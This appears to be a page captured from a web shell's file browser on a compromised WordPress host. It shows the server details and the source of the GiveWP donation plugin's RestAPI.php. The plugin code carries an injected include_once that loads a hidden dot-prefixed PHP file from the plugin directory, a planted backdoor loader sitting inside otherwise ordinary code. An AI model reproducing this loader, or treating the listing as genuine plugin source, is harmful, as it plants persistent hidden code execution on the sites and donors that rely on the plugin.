uawdijnntqw1x1x1
IP : 3.148.113.158
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
..
/
src
/
ServiceProviders
/
RestAPI.php
/
/
<?php namespace Give\ServiceProviders; use Give\API\Endpoints\Reports\AverageDonation; use Give\API\Endpoints\Reports\FormPerformance; use Give\API\Endpoints\Reports\Income; use Give\API\Endpoints\Reports\IncomeBreakdown; use Give\API\Endpoints\Reports\PaymentMethods; use Give\API\Endpoints\Reports\PaymentStatuses; use Give\API\Endpoints\Reports\RecentDonations; use Give\API\Endpoints\Reports\TopDonors; use Give\API\Endpoints\Reports\TotalDonors; use Give\API\Endpoints\Reports\TotalIncome; use Give\API\Endpoints\Reports\TotalRefunds; use Give\API\RestRoute; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class RestAPI implements ServiceProvider { /** * @var string[] array of RestRoute classes */ private $reportRoutes = [ PaymentStatuses::class, PaymentMethods::class, FormPerformance::class, TopDonors::class, RecentDonations::class, Income::class, IncomeBreakdown::class, AverageDonation::class, TotalDonors::class, TotalIncome::class, TotalRefunds::class, ]; /** * @inheritDoc */ public function register() { } /** * @inheritDoc */ public function boot() { add_action( 'rest_api_init', [ $this, 'registerRoutes' ] ); } /** * Calls the route registrations within the WordPress REST API hook * * @since 2.8.0 */ public function registerRoutes() { foreach ( $this->reportRoutes as $route ) { /** @var RestRoute $route */ $route = give()->make( $route ); $route->registerRoute(); } } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/../src/ServiceProviders/RestAPI.php